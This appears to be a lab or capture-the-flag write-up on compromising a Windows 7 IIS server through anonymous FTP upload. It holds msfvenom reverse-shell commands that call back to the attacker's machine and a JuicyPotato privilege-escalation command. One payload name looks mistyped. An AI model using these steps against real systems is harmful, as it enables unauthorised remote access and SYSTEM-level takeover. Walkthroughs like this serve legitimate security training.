Service Enumeration

TCP/21

FTP service allows anonymous logon and file upload. If the FTP service is tied in with the web server, it might be possible to leverage this as an attack vector.

Try creating an HTML file to test that hypothesis.

<html>
	<head>
		<title>0xBEN</title>
	</head>
	<body>
		<h1>0xBEN was here</h1>
	</body>
</html>

test.html is the file I uploaded





Exploit

I am able to upload a reverse shell payload to the web server's root directory due to anonymous FTP login and file upload. Generate the reverse shell payload:

msfvenom -p windows/shell_reverse_tcp LHOST=kali-vpn-ip LPORT=kali-tcp-port -f aspx -o pwnz.aspx

Start a netcat listener to catch the reverse shell. Upload the exploit to the web root directory via FTP. Then, load the reverse shell in the web browser by browsing to http://10.10.10.5/pwnz.aspx .





Post-Exploit Enumeration

I changed the reverse shell to windows/powershell_reverse_tcp instead, since some of the commands were failing due to having a non-interactive logon.

Privilege Escalation

The IIS service account has SeImpersonatePrivilege enabled, which seems like a perfect candidate for a JuicyPotato.

Looking at the output of the systeminfo command, this is a 32-bit system, so we'll need to keep that in mind when downloading the necessary binaries and creating payloads.

  1. Download the 32-bit JuicyPotato.exe payload
  2. Create another reverse shell payload for use with JuicyPotato: msfvenom -p windows/reverse_shell_tcp LHOST=kali-vpn-ip LPORT=kali-tcp-port -f exe -a x86 --platform windows -o privesc.exe
  3. Use your FTP connection to upload the files to the web server
  4. Refer to this list to find a SYSTEM CLSID for Windows 7 Enterprise.
  5. Run the exploit: .\JuicyPotato.exe -p .\privesc.exe -l 443 -t * -c '{69AD4AEE-51BE-439b-A92C-86AE490E8B30}'
